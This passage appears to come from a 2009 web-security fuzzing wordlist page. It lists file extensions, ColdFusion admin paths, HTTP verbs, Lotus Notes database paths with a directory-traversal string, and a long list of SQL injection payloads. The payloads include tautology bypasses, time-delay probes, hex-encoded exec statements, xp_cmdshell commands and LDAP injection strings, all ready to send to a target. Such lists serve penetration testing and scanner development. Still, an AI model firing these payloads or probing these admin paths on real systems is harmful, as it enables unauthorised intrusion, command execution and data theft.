/> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === (Compressed File Types - (Update: 16 March 2009 - Total Statements: 187) ===<br /> &lt;pre&gt;.0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === (Uncommon Data File Extensions (Update: 16 March 2009 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> 